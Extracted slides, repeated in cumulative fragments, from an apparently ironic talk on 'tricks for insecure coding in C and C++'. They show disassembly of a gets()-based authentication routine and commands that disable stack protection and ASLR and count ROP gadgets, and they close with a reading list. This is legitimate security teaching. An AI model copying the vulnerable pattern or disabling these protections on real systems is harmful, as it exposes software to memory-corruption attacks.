  • 327. 08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret 080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28 80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt> 804853f leave 8048540 ret compiled with -fno-stack-protector compiled with -fstack-protector $ gcc -fno-stack-protector launch.c
  • 328. 08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret 080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28 80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt> 804853f leave 8048540 ret compiled with -fno-stack-protector compiled with -fstack-protector $ gcc -fno-stack-protector launch.c Trick #9: Disable stack protection
  • 331. $ sudo sh # echo 0 > /proc/sys/kernel/randomize_va_space
  • 332. $ sudo sh # echo 0 > /proc/sys/kernel/randomize_va_space $ gcc -fno-pic -fno-pie -o launch launch.c
  • 333. $ sudo sh # echo 0 > /proc/sys/kernel/randomize_va_space $ gcc -fno-pic -fno-pie -o launch launch.c Trick #10: Disable ASLR whenever you can.
  • 335. Trick #11: Avoid hardware and operating systems that enforce DEP/W^X/NX-bit
  • 337. $ gcc -o launch_shared launch.c
  • 338. $ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c
  • 339. $ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch*
  • 340. $ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch* -rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c
  • 341. $ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch* -rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c -rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared
  • 342. $ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch* -rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c -rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared -rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static
  • 343. $ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch* -rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c -rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared -rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static $ python ROPgadget.py --binary launch_shared | tail -1
  • 344. $ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch* -rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c -rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared -rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static $ python ROPgadget.py --binary launch_shared | tail -1 Unique gadgets found: 76
  • 345. $ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch* -rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c -rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared -rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static $ python ROPgadget.py --binary launch_shared | tail -1 Unique gadgets found: 76 $ python ROPgadget.py --binary launch_static | tail -1
  • 346. $ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch* -rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c -rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared -rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static $ python ROPgadget.py --binary launch_shared | tail -1 Unique gadgets found: 76 $ python ROPgadget.py --binary launch_static | tail -1 Unique gadgets found: 9673
  • 347. $ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch* -rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c -rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared -rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static $ python ROPgadget.py --binary launch_shared | tail -1 Unique gadgets found: 76 $ python ROPgadget.py --binary launch_static | tail -1 Unique gadgets found: 9673 Trick #12: Make it easy to find many ROP gadgets in your program
  • 349. $ openssl dgst -sha256 ./launch
  • 350. $ openssl dgst -sha256 ./launch 568ef1de39115c381aa3fa67f8f31fad5ba262a2b1f2dc70812609c9f5a76dcb
  • 351. $ openssl dgst -sha256 ./launch 568ef1de39115c381aa3fa67f8f31fad5ba262a2b1f2dc70812609c9f5a76dcb
  • 352. Trick #13: Skip integrity checks when installing and running new software. $ openssl dgst -sha256 ./launch 568ef1de39115c381aa3fa67f8f31fad5ba262a2b1f2dc70812609c9f5a76dcb
  • 354. Trick #0: Never ever let other programmers review your code
  • 355. #1 Write insecure code by depending on a particular evaluation order #2 Write insecure code by breaking the sequencing rules #3 Write insecure code where the result depends on the compiler #4 Write insecure code by knowing the blind spots of your compilers #5 Write insecure code by messing up the internal state of the program. #6 Write insecure code by only assuming valid input values #7 Write insecure code by letting the optimizer remove apparently critical code #8 Write insecure code by using library functions incorrectly #9 Disable stack protection #10 Disable ASLR whenever you can. #11 Avoid hardware and operating systems that enforce DEP/W^X/NX-bit #12 Make it easy to find many ROP gadgets in your program #13 Skip integrity checks when installing and running new software. Some tricks for insecure coding in C and C++ ... and of course, there are plenty more tricks not covered here... #0 Never ever let other programmers review your code
  • 356. !
  • 357. Resources "C Programming Language" by Kernighan and Ritchie is a book that you need to read over and over again. Security vulnerabilities and bugs in C are very often just a result of not using the language correctly. Instead of trying to remember everthing as it is formally written in the C standard, it is better to try to understand the spirit of C and try to understand why things are designed as they are in the language. Nobody tells this story better than K&R. I got my first serious journey into deeper understanding of C came when I read Peter van der Linden wonderful book "Expert C programming" (1994). I still consider it as one of the best books ever written about C. "C traps and pitfalls" by Andrew Koenig (1988) is also a very good read. All professional C programmers should have a copy of the C standard and they should get used to regularly look up terms and concepts in the standard. It is easy to find cheap PDF-version of the standard ($30), but you can also just download the latest draft and they are usually 99,93% the same as the real thing. I also encourage everyone to read the Rationale for C99 which is available for free on the WG14 site. http://www.open-std.org/jtc1/sc22/wg14/ Robert C. Seacord has written a book about how to do secure coding in C and C++. This is based on serious research done by CERT program of the Carnegie Mellon's Software Engineering Institute. This is a really nice book about how to hack into systems and programs written in C.The book also has a surprisingly concise and well written introduction to C as a programming language.All of the techniques discussed in these slides, and much more, is discussed in this book.